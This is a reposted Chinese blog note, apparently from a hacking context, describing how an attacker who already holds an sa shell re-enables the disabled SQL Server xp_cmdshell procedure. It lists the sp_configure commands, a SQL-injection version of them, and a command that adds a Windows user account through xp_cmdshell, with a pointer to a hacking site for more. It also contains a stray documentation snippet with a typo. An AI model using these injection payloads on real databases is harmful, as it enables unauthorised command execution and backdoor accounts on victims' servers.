zoukankan      html  css  js  c++  java
  • [转]xp_cmdshell被阻止时如何开启的方法..

    作者:心动吧明生KISS

    今天拿了一个shell。。打开看的时候是sa用户..然后就出现了这一个文章。是关于当遇到

    错误: SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

    这样的问题时如何对其进行处理...

    一开始我以为使用下例的方法就可以成功。。结果还是不行..

    dbcc addextendedproc ("sp_oacreate","odsole70.dll")
    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

    -----------------------------------------------------------------

    然后在网上翻查了一下,得到了以下的方法,解决掉

    EXEC sp_configure 'show advanced options', 1 --
    RECONFIGURE WITH OVERRIDE --
    EXEC sp_configure 'xp_cmdshell', 1 --
    RECONFIGURE WITH OVERRIDE --
    EXEC sp_configure 'show advanced options', 0 --

    注入:

    ;EXEC sp_configure 'show advanced options', 1 --
    ;RECONFIGURE WITH OVERRIDE --
    ;EXEC sp_configure 'xp_cmdshell', 1 --
    ;RECONFIGURE WITH OVERRIDE --
    ;EXEC sp_configure 'show advanced options', 0 --

    B. 更改配置选项

    下面的示例将系统恢复间歇设为 3 分钟。

    USE master0
    EXEC sp_configure 'recovery interval', '3'
    RECONFIGURE WITH OVERRIDE

    -----------------------------------------------------------------------------------

    二条语句执行后,结果可以对其执行cmd命令,原来是不可以的

    exec master..xp_cmdshell "net user name password /add"--

    这是一个手记。。看不懂的加群问。。

    详细解说看这里:http://www.fuckhacker.net/?action=show&id=137

  • 相关阅读:
    css calc()
    timeline css
    $obj->0
    释放内存
    Aggregate (GROUP BY) Function Descriptions
    算法-拼团-推荐团排序
    linux 命令行 执行 php
    c memery
    获取监控信息,产生监控响应动作
    green rgb(255, 102, 0) #FF6600
  • 原文地址:https://www.cnblogs.com/huige1004/p/1394745.html
Copyright © 2011-2022 走看看